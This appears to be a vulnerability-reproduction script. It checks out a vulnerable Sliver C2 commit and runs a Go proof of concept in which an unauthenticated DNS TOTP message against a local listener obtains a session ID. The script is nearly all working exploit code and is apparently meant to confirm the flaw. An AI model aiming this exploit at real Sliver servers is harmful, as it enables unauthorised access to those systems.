#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

REPO="$ROOT/repo"
if [ ! -d "$REPO/.git" ]; then
  git clone https://github.com/BishopFox/sliver.git "$REPO"
fi

# Checkout vulnerable revision with DNS TOTP bootstrap
cd "$REPO"
if ! git rev-parse --verify 1d50db6982880a1e538afac2ad8c5f268e62c51a >/dev/null 2>&1; then
  git fetch --all
fi
git checkout 1d50db6982880a1e538afac2ad8c5f268e62c51a

# Create placeholder assets required by server build tags
mkdir -p server/assets/fs/linux/arm64
: > server/assets/fs/src.zip
: > server/assets/fs/linux/arm64/go.zip
: > server/assets/fs/linux/arm64/sgn.zip

# Build and run a minimal DNS listener + exploit query
cat > "$ROOT/tmp_dns_poc.go" <<'EOF'
package main

import (
  "fmt"
  "net"
  "os"
  "time"

  "github.com/miekg/dns"
  "github.com/bishopfox/sliver/server/c2"
  "github.com/bishopfox/sliver/protobuf/dnspb"
  "github.com/bishopfox/sliver/util/encoders"
  "google.golang.org/protobuf/proto"
)

func main() {
  listener := c2.StartDNSListener("127.0.0.1", 8053, []string{"example.com."}, false, true)
  go func() {
    if err := listener.ListenAndServe(); err != nil {
      fmt.Fprintf(os.Stderr, "server error: %v\n", err)
      os.Exit(2)
    }
  }()
  time.Sleep(300 * time.Millisecond)

  payload := &dnspb.DNSMessage{Type: dnspb.DNSMessageType_TOTP, ID: 0}
  raw, err := proto.Marshal(payload)
  if err != nil { panic(err) }
  enc, _ := encoders.Base32{}.Encode(raw)
  fqdn := fmt.Sprintf("%s.example.com.", string(enc))

  c := new(dns.Client)
  req := new(dns.Msg)
  req.SetQuestion(fqdn, dns.TypeA)
  resp, _, err := c.Exchange(req, "127.0.0.1:8053")
  if err != nil {
    fmt.Fprintf(os.Stderr, "dns query failed: %v\n", err)
    os.Exit(2)
  }
  if len(resp.Answer) == 0 {
    fmt.Fprintf(os.Stderr, "no answers returned\n")
    os.Exit(1)
  }
  a, ok := resp.Answer[0].(*dns.A)
  if !ok {
    fmt.Fprintf(os.Stderr, "unexpected answer type: %T\n", resp.Answer[0])
    os.Exit(1)
  }
  sessionID := net.IP(a.A).To4()
  if sessionID == nil {
    fmt.Fprintf(os.Stderr, "invalid ipv4 response\n")
    os.Exit(1)
  }
  if sessionID.Equal(net.IPv4zero) {
    fmt.Fprintf(os.Stderr, "session id is zero\n")
    os.Exit(1)
  }
  fmt.Printf("received session id %v\n", sessionID)
}
EOF

GOTOOLCHAIN=go1.20.14 go run -tags "server go_sqlite" "$ROOT/tmp_dns_poc.go" | tee "$LOGS/dns_totp_poc.log"

if grep -q "received session id" "$LOGS/dns_totp_poc.log"; then
  echo "Vulnerability reproduced: unauthenticated TOTP created a session."
  exit 0
fi

echo "Vulnerability not reproduced."
exit 1